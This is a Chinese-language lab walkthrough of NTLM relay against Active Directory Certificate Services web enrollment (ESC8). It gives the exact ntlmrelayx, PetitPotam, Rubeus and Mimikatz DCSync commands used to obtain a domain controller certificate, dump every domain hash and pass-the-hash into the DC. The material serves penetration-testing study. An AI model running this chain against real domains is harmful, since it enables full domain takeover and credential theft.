原理
在默认配置下,Web 证书注册页面仅采用 HTTP 协议进行通信,同时支持使用 NTLM 身份验证机制来确认用户身份。然而,该页面并未启用任何针对 NTLM Relay 攻击的防护措施,攻击者可以通过中继受害者的认证请求,伪装成受害者向证书颁发机构(CA)请求证书,从而实现持久化的权限提升或域控接管。
漏洞利用条件
ADCS Web Enrollment 启用: 目标环境中存在启用了 Web 注册功能的证书颁发机构(CA),通常访问路径为 http://<CA服务器>/certsrv/。
NTLM 认证支持: Web 端点支持 NTLM 认证,且未强制启用 HTTPS 或扩展保护(Extended Protection for Authentication, EPA),这使得 NTLM 中继攻击成为可能。
证书模板可用: CA 上至少有一个已发布的证书模板允许客户端认证(Client Authentication)或域计算机注册(Domain Computer Enrollment),例如默认的 Machine 或 DomainController 模板。
漏洞环境验证
ADCS默认存在http://<CA服务器>/certsrv/
访问http://<CA服务器>/certsrv/certfnsh.asp页面
漏洞利用
环境介绍
域控:192.168.110.127
证书服务器:192.168.110.153
域内主机:192.168.110.222
域外kali:192.168.110.155
攻击过程
在域外kali上执行
使用impacket中的ntlmrelayx.py进行监听
python ntlmrelayx.py -t http://192.168.110.153/certsrv/certfnsh.asp --adcs --template DomainController
使用 PetitPotam 诱导DC向攻击者认证
python PetitPotam.py 192.168.110.155 192.168.110.127 -d lutra.com
ntlmrelayx.py捕获并中继认证到CA,请求DomainController模板的证书。
在域内主机上执行
获得证书后,使用Rubeus请求TGT
Rubeus.exe asktgt /user:D1C$ /certificate:dc.pfx /dc:192.168.110.127 /ptt
使用klist查看缓存的票据
使用Mimikatz执行DCSync获取域内所有用户的NTLM Hash
发起PTH攻击,发现域内普通账户没有权限
切换到当前域内主机本地管理员账户进行操作
PTH攻击后,已经有权限访问域控目录